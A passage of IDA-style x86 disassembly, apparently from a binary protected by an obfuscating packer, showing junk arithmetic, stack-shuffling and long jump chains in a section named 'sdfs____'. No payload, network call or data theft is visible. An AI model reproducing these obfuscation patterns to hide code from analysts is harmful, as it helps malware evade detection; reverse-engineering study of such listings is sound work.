; END OF FUNCTION CHUNK	FOR sub_5A96D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A150B:				; CODE XREF: sub_5992DA+960j
		sub	ebx, 8BAB19EEh
		sub	edx, 413417EBh
		jmp	loc_5A8C43
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A151C:				; CODE XREF: sub_5A118F+CC9Fj
		shl	ah, 2
		jns	loc_5A0F01
		or	ah, 0C0h
		jmp	loc_5A162C
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
		push	edx
		mov	dh, al
		push	ebx

; =============== S U B	R O U T	I N E =======================================



sub_5A1531	proc near		; CODE XREF: sub_5AA2D1:loc_5A8B85j

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 005A6C68 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A9705 SIZE 0000000C BYTES

		push	ebp
		mov	ebp, 30702F98h
		dec	ebp
		neg	ebp
		jmp	loc_5A9705
sub_5A1531	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A153F:				; CODE XREF: sub_59C979+5C56j
		push	78AB581Fh
		mov	edi, [esp+0Eh+var_10+2]
		add	esp, 4
		add	dword ptr [esp+0Ah+var_2], edi
		pop	edi
		mov	ebp, [esp+6+var_6]
		add	esp, 4
		pop	eax
		push	ebp
		jmp	loc_59C4C3
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5AF2


loc_5A155F:				; CODE XREF: sub_5A5AF2+7FC1j
		shl	ah, 3
		sub	ah, 42h
		add	bl, ah
		jmp	loc_5A088B
; END OF FUNCTION CHUNK	FOR sub_5A5AF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC2C0


loc_5A156C:				; CODE XREF: sub_5AC2C0-F724j
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		xor	edi, 66EE4300h
		sub	ebx, edi
		jmp	loc_5AABFC
; END OF FUNCTION CHUNK	FOR sub_5AC2C0

; =============== S U B	R O U T	I N E =======================================



sub_5A157F	proc near		; DATA XREF: sdfs____:00598E9Co
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp+0], cl
		pushf
		jmp	loc_59910F
sub_5A157F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_5A158E:				; CODE XREF: sub_5A77D5+4366j
		push	40h
		pop	edx
		and	ecx, edx
		mov	edx, [esp+0]
		push	edi
		jmp	loc_59B510
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A6F


loc_5A159F:				; CODE XREF: sub_599A6F+A324j
		sub	bh, 1
		add	bh, 98h
		jmp	loc_5AE5A0
; END OF FUNCTION CHUNK	FOR sub_599A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A15AA:				; CODE XREF: sub_5AE4A9-14B03j
					; sub_59D6B8+B664j
		sub	ebp, 4
		xchg	ebp, [esp+18h+var_18]
		pop	esp
		mov	[esp+14h+var_14], ebx
		push	esp
		mov	ebx, [esp+18h+var_18]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+1Ch+var_1C]
		pop	esp
		add	ebx, 4
		jmp	loc_5AABCE
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------


loc_5A15D6:				; CODE XREF: sdfs____:005AB56Aj
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 6BFD2CA2h
		shl	edx, 6
		jmp	loc_59BC25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE9FA


loc_5A15F5:				; CODE XREF: sub_5AE9FA-318Ej
		or	edx, 6EC2455Fh
		jmp	loc_5AD1F6
; END OF FUNCTION CHUNK	FOR sub_5AE9FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A1600:				; CODE XREF: sub_5992DA+9C6Fj
		push	esi
		jmp	loc_59EB26
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD13


loc_5A1606:				; CODE XREF: sub_5ADD13-120D0j
		pop	[esp-4+arg_0]
		pop	esp
		mov	[esp-0Ch+arg_8], ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 5F8535ECh
		inc	edi
		push	ecx
		jmp	sub_5A1FAD
; END OF FUNCTION CHUNK	FOR sub_5ADD13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A68A5


loc_5A161C:				; CODE XREF: sub_5A5EFF-780Ej
					; sub_5A68A5+832Dj
		mov	[esp+0], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp+0]
		jmp	loc_5AB06E
; END OF FUNCTION CHUNK	FOR sub_5A68A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A162C:				; CODE XREF: sub_5AB08D-107E0j
					; sub_5A118F+399j
		push	esp
		pop	[esp+0Ch+var_C]
		push	4F43h
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 4
		jmp	loc_5A075F
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------


loc_5A1642:				; CODE XREF: sdfs____:0059C5CAj
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	esi
		mov	esi, 4
		push	edx
		mov	edx, 129B0B80h
		sub	edi, edx
		jmp	loc_59C578
; ---------------------------------------------------------------------------


loc_5A165C:				; CODE XREF: sdfs____:005AE81Fj
		sub	ebx, ecx
		pop	ecx
		add	esi, 6B161331h
		add	esi, ebx
		jmp	loc_59A664
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C2A6


loc_5A166C:				; CODE XREF: sub_59C2A6+F1F6j
		xor	ebp, esi
		pop	esi
		add	edx, 7951785Eh
		add	edx, ebp
		jmp	loc_5A86BA
; END OF FUNCTION CHUNK	FOR sub_59C2A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A167C:				; CODE XREF: sub_5AA2D1-96C8j
		add	esp, 4
		push	ecx
		mov	ecx, ebx
		jmp	loc_59FF0E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A168A:				; CODE XREF: sdfs____:005A1AF1j
		neg	eax
		jp	loc_59A6CF
		neg	eax
		jp	loc_5A44A2
		not	eax

; =============== S U B	R O U T	I N E =======================================



sub_5A169C	proc near		; CODE XREF: sub_5AAE5E+1EB8j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A8CEF SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005AA651 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, esp
		jmp	loc_5AA651
sub_5A169C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DE4B


loc_5A16AC:				; CODE XREF: sub_59DE4B+E9E3j
		mov	edx, 17A4413Eh
		add	ebp, edx
		jmp	loc_59BF49
; END OF FUNCTION CHUNK	FOR sub_59DE4B

; =============== S U B	R O U T	I N E =======================================



sub_5A16B8	proc near		; DATA XREF: sdfs____:00598EDCo

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059933C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059A282 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059A7F4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059AC7A SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059AE0A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059D944 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F140 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0B88 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A38AE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A407D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A44CC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A49EA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A4C53 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A5D4A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A65B3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A6C19 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A7B16 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AA31A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AA3FC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AA53F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB4BC SIZE 00000055 BYTES
; FUNCTION CHUNK AT 005AB8DD SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005ABC4E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005AC466 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AE59B SIZE 00000005 BYTES

		mov	cx, [esp+0]
		jmp	loc_59AE0A
sub_5A16B8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2D1


loc_5A16C1:				; CODE XREF: sub_59F2D1-251Bj
					; sub_5A3992-5F4Dj
		pop	edx
		push	ebp
		push	[esp+8+var_4]
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_599222
; END OF FUNCTION CHUNK	FOR sub_59F2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9CAE


loc_5A16D5:				; CODE XREF: sub_5A9CAE-1062Aj
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A9CAE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD6D4


loc_5A16DA:				; CODE XREF: sub_5AD6D4-8372j
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		add	esi, ebp
		pop	ebp
		jmp	loc_59B13E
; END OF FUNCTION CHUNK	FOR sub_5AD6D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A16E6:				; CODE XREF: sub_59EE3E-433Dj
		not	edi
		xor	edi, 4777641Ch
		jnz	loc_59A33B
		jmp	loc_5A9823
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
		push	4
		pop	ecx
		add	ebx, ecx
		or	al, 0Ah
; START	OF FUNCTION CHUNK FOR sub_599C9B


loc_5A1703:				; CODE XREF: sub_599C9B+B3E7j
		add	ebx, 6D8C6A16h
		jmp	loc_5AA411
; END OF FUNCTION CHUNK	FOR sub_599C9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A170E:				; CODE XREF: sub_59EE3E+3Fj
		push	6F671B4Eh
		jmp	loc_59AAFF
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A1718:				; CODE XREF: sub_5A118F+30D6j
		and	bl, 0E6h
		sub	esp, 2
		jmp	loc_59C6B0
; END OF FUNCTION CHUNK	FOR sub_5A118F

; =============== S U B	R O U T	I N E =======================================



sub_5A1726	proc near		; DATA XREF: sdfs____:00598F50o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A0716 SIZE 0000000D BYTES

		lodsd
		push	ebx
		mov	ebx, 35F64FCAh
		inc	ebx
		xor	ebx, 70C848D9h
		sub	eax, ebx
		jmp	loc_5A0716
sub_5A1726	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5A173B:				; CODE XREF: sub_5A580F-850Dj
		push	esp
		jmp	loc_5A1FC3
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------


loc_5A1741:				; CODE XREF: sdfs____:0059A3BBj
		mov	ecx, 65A4197Fh
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5ACCB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A1756:				; CODE XREF: sub_59C979+CD4Dj
		jmp	loc_5A99EC
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A175B:				; CODE XREF: sub_5A79BE-9FB4j
		sub	esi, 74365h
		sub	edx, esi
		mov	esi, [esp-4+arg_0]
		jmp	loc_5A9457
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A503A


loc_5A176B:				; CODE XREF: sub_5A503A-8843j
					; sub_5A8931+8E7j
		add	edx, 16AF4873h
		pop	esi
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		mov	[esp+0], edi
		mov	edi, 35650A6Ch
		xchg	eax, edi
		push	eax
		not	[esp+4+var_4]
		pop	eax
		xchg	eax, edi
		dec	edi
		jmp	loc_5A19C9
; END OF FUNCTION CHUNK	FOR sub_5A503A
; ---------------------------------------------------------------------------


loc_5A179E:				; CODE XREF: sdfs____:005A30ACj
		push	esi
		mov	esi, 4
		mov	ecx, esi
		pop	esi
		jmp	loc_5A18FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A17AC:				; CODE XREF: sub_5AA2D1-EC48j
		inc	eax
		inc	eax
		not	eax
		or	eax, 48725A5Bh
		xor	eax, 0FBE797AAh
		sub	edi, eax
		pop	eax
		push	ecx
		mov	ecx, 51BF1693h
		add	ecx, 0F75E059Dh
		sub	edi, ecx
		pop	ecx
		push	2D2h
		mov	[esp+4+var_4], esi
		push	6C8C0070h
		pop	esi
		push	esi
		jmp	loc_59FFAC
; ---------------------------------------------------------------------------


loc_5A17E0:				; CODE XREF: sub_5AA2D1+2D23j
		mov	[esp+8+var_8], eax
		mov	eax, 18EDCFDBh
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		pop	esi
		pop	eax
		push	ebp
		jmp	loc_5A8CB9
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A17F9:				; CODE XREF: sub_5A0FFF-5D20j
		sub	ecx, 44544F92h
		add	ecx, edi
		add	ecx, 44544F92h
		sub	ecx, 50F312EDh
		sub	ecx, 1C874EB0h
		push	edx
		push	ebx
		jmp	loc_5AB44D
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6494


loc_5A181A:				; CODE XREF: sub_5A6494+491Cj
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_5AC6DB
; END OF FUNCTION CHUNK	FOR sub_5A6494
; ---------------------------------------------------------------------------


loc_5A182A:				; CODE XREF: sdfs____:005A9291j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	217Fh
		mov	[esp], edx
		push	ebx
		jmp	loc_5AF73D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A1845:				; CODE XREF: sub_59D6B8-270Ej
		xor	eax, 0E801DBF5h
		sub	edi, eax
		pop	eax
		jmp	loc_5AD2D3
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A1852:				; CODE XREF: sub_5B01F7-16278j
		pop	edi
		jmp	loc_59B805
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4E04


loc_5A1858:				; CODE XREF: sub_5A4E04+784Cj
		add	esp, 4
		and	ebp, 65670E4Bh
		dec	ebp
		sub	ebp, 9EECEB6h
		sub	eax, ebp
		pop	ebp
		add	eax, 4D7716DAh
		jmp	loc_5AD7DC
; END OF FUNCTION CHUNK	FOR sub_5A4E04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_5A1878:				; CODE XREF: sub_5A77D5+7DE1j
		xchg	edx, [esp+8+var_8]
		pop	esp
		add	eax, 6F234138h
		add	eax, ebx
		sub	eax, 6F234138h
		jmp	loc_5A1C1D
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5735


loc_5A188D:				; CODE XREF: sub_5A5735+Ej
		add	esi, 4
		sub	esi, 4
		push	32B7h
		mov	[esp+8+var_8], esi
		push	[esp+8+var_4]
		jmp	loc_5A5CD0
; END OF FUNCTION CHUNK	FOR sub_5A5735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_5A18A7:				; CODE XREF: sub_5A4D9D-97E4j
		neg	eax
		jge	loc_5A38EC
		shl	eax, 1
		jz	loc_5B00AA
		xor	eax, 7CC0FABEh
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; START	OF FUNCTION CHUNK FOR sub_5A4CF3


loc_5A18BC:				; CODE XREF: sub_5A4CF3-29Cj
		pop	esp
		mov	[esp+0], esp
		jmp	loc_5A54AD
; END OF FUNCTION CHUNK	FOR sub_5A4CF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A18C5:				; CODE XREF: sub_5B01F7-12E21j
		mov	ebx, 713A6EBh
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], edx
		mov	edx, 1DC62A7Ch
		push	edi
		mov	edi, 6C9D716Dh
		xor	edx, edi
		jmp	loc_5A591D
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B60


loc_5A18E2:				; CODE XREF: sub_5A3B60-7B78j
		push	6506h
		jmp	loc_5A4AFB
; END OF FUNCTION CHUNK	FOR sub_5A3B60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5A18EC:				; CODE XREF: sub_5ADD33-1707j
		mov	[esp+0], edx
		push	eax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5ADD33

; =============== S U B	R O U T	I N E =======================================



sub_5A18F6	proc near		; CODE XREF: sub_5A405F-17DEj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= word ptr  8

; FUNCTION CHUNK AT 005995C2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A09CB SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005A111F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A373C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A3EDA SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A4D38 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A5EB6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A6AD8 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A9925 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A9A19 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A9CFF SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005AA8EB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AB0EC SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005AC59C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AE5AA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AEFD5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AFD5F SIZE 0000000A BYTES

		push	ebp
		jmp	loc_5A111F
sub_5A18F6	endp

; ---------------------------------------------------------------------------


loc_5A18FC:				; CODE XREF: sdfs____:005A17A7j
		add	eax, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5AEDBC
; ---------------------------------------------------------------------------


loc_5A1925:				; CODE XREF: sdfs____:005A4292j
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 11BB00ECh
		shr	ecx, 4
		dec	ecx
		jmp	loc_5A87D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A193E:				; CODE XREF: sub_5AA2D1-E803j
		mov	[esp-8+arg_4], ecx
		push	edx
		jmp	loc_59A196
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD6D4


loc_5A1947:				; CODE XREF: sub_5AD6D4+1E4j
		mov	[esp+4+var_4], edi
		mov	edi, 748040A3h
		xor	edi, 62C121B7h
		xor	edi, 1A075657h
		mov	ebx, edi
		pop	edi
		inc	ebx
		jmp	loc_5A2F68
; END OF FUNCTION CHUNK	FOR sub_5AD6D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59982C


loc_5A1964:				; CODE XREF: sub_59982C+6C49j
		push	2BF4h
		mov	[esp+4+var_4], edi
		push	1E8h
		jmp	loc_5AEDE2
; END OF FUNCTION CHUNK	FOR sub_59982C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A1976:				; CODE XREF: sub_5AA2D1-5181j
		pop	esi
		jmp	loc_5AE595
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5A197C:				; CODE XREF: sub_5AF2D9-F47j
		push	dx
		jmp	loc_59D5A6
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5A1983:				; CODE XREF: sub_5A9EC5-98B5j
		add	ch, bh
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		push	68FDh
		mov	[esp+8+var_8], eax
		mov	al, 0CFh
		push	ecx
		mov	cl, 7Bh
		inc	cl
		xor	cl, 0F9h
		or	al, cl
		jmp	loc_5A24C3
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAF7A


loc_5A19A4:				; CODE XREF: sub_5AAF7A+30j
		mov	esi, edi
		pop	edi
		sub	esi, ebp
		jmp	loc_5A109C
; END OF FUNCTION CHUNK	FOR sub_5AAF7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A19AE:				; CODE XREF: sub_5AA2D1-A10Dj
					; sub_5A9EBF+51DBj
		mov	edx, 2427719Bh
		sub	edx, 1A233D75h
		push	edx
		jmp	loc_5ADBC6
; ---------------------------------------------------------------------------


loc_5A19BF:				; CODE XREF: sub_5AA2D1-8F43j
		mov	edx, 23A3310Fh
		jmp	loc_5A9942
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A503A


loc_5A19C9:				; CODE XREF: sub_5A503A-38A1j
		jl	loc_5A973B
		xor	edi, 7FF50635h
		jmp	loc_5A9039
; END OF FUNCTION CHUNK	FOR sub_5A503A
; ---------------------------------------------------------------------------
		xor	eax, ebp
		mov	cl, 8Fh
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_5A19DE:				; CODE XREF: sub_5AD993-121Bj
		mov	ch, 0A1h
		neg	ch
		jnz	loc_5AF673
		jmp	loc_5A7E4B
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		mov	al, dl
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A19F7:				; CODE XREF: sub_5992DA+E524j
		and	eax, ebp
		jmp	loc_5A4967
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_5A19FE:				; CODE XREF: sub_59EE3E+907Cj
					; sub_59E94B+B094j
		pop	edi
		sub	ebp, 3263944h
		add	ebp, edx
		add	ebp, 3263944h
		sub	ebp, 709B5EF2h
		pop	edx
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_59DDA9
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A1A1D:				; CODE XREF: sub_5A6BBC-2002j
		jo	loc_59DD5C
		shr	cl, 1
		jmp	loc_599237
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D37E


loc_5A1A2A:				; CODE XREF: sub_59D37E+2123j
					; sdfs____:005A46F4j
		mov	cl, 1Dh
		jmp	loc_5AF3F3
; END OF FUNCTION CHUNK	FOR sub_59D37E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4E8


loc_5A1A31:				; CODE XREF: sub_59A4E8+E04Dj
		add	esi, 4
		sub	esp, 4
		mov	[esp+8+var_8], eax
		jmp	loc_5AB158
; END OF FUNCTION CHUNK	FOR sub_59A4E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_5A1A42:				; CODE XREF: sub_59A7E7+2A4j
					; sdfs____:005A1C13j
		pop	ebx
		add	bl, 0A2h
		sub	bl, ch
		push	ecx
		mov	cl, 12h
		sub	cl, 0D2h
		push	ecx
		not	byte ptr [esp+8+var_8]
		pop	ecx
		jmp	loc_59A812
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------


loc_5A1A58:				; CODE XREF: sdfs____:005AF111j
		mov	eax, 618A4A73h
		sub	eax, 19CB69AEh
		jmp	loc_5AC457
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DE4B


loc_5A1A67:				; CODE XREF: sub_59DE4B-ADAj
		add	esp, 4
		sub	ebp, 17A4413Eh
		push	edx
		mov	edx, 4D3364DEh
		not	edx
		sub	edx, 38FC6ABCh
		jmp	loc_5A5E3A
; END OF FUNCTION CHUNK	FOR sub_59DE4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A1A86:				; CODE XREF: sub_59CBE1+B07Fj
					; sub_5AAFCA-19C2j
		push	ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp+0], eax
		push	346h
		jmp	loc_5AFCC1
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A54C9


loc_5A1A99:				; CODE XREF: sub_5A54C9-437Ej
		sub	ecx, 0D3288900h
		xor	ebp, ecx
		pop	ecx
		sub	ebp, 3370C5A2h
		add	edi, ebp
		pop	ebp
		push	esi
		jmp	loc_5A8AA6
; END OF FUNCTION CHUNK	FOR sub_5A54C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFA26


loc_5A1AB1:				; CODE XREF: sub_5AFA26-FC84j
		xor	edx, eax
		xor	eax, edx
		neg	eax
		ja	sub_5A4840
		push	ebx
		mov	ebx, 3A183923h
		sub	ebx, 574156E3h
		add	ebx, 33163057h
		jmp	loc_59E459
; END OF FUNCTION CHUNK	FOR sub_5AFA26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0377


loc_5A1AD4:				; CODE XREF: sub_5B0377-CDE3j
		add	edi, 28F17EBDh
		jmp	loc_5AC291
; END OF FUNCTION CHUNK	FOR sub_5B0377
; ---------------------------------------------------------------------------


loc_5A1ADF:				; CODE XREF: sdfs____:005A1BD2j
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 1F1E0820h
		not	eax
		jmp	loc_5A168A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A1AF6:				; CODE XREF: sub_5992DA+1A32j
		xor	ch, 0EFh
		add	al, ch
		pop	ecx
		add	al, ch
		sub	al, 0EFh
		pop	ecx
		push	ecx
		mov	cl, 0CFh
		jmp	loc_5AC040
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------


loc_5A1B09:				; CODE XREF: sdfs____:005AE5FDj
		push	esi
		mov	esi, 725F0697h
		or	esi, 2BD76BAh
		push	ebp
		push	ebx
		push	4F864C7h
		jmp	loc_5A9A52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A1B21:				; CODE XREF: sub_5B01F7-10260j
		or	ebp, 444B5EC0h
		xor	ebp, 81C732Ah
		xor	ebp, 7FE32CE7h
		jmp	loc_5A7C1B
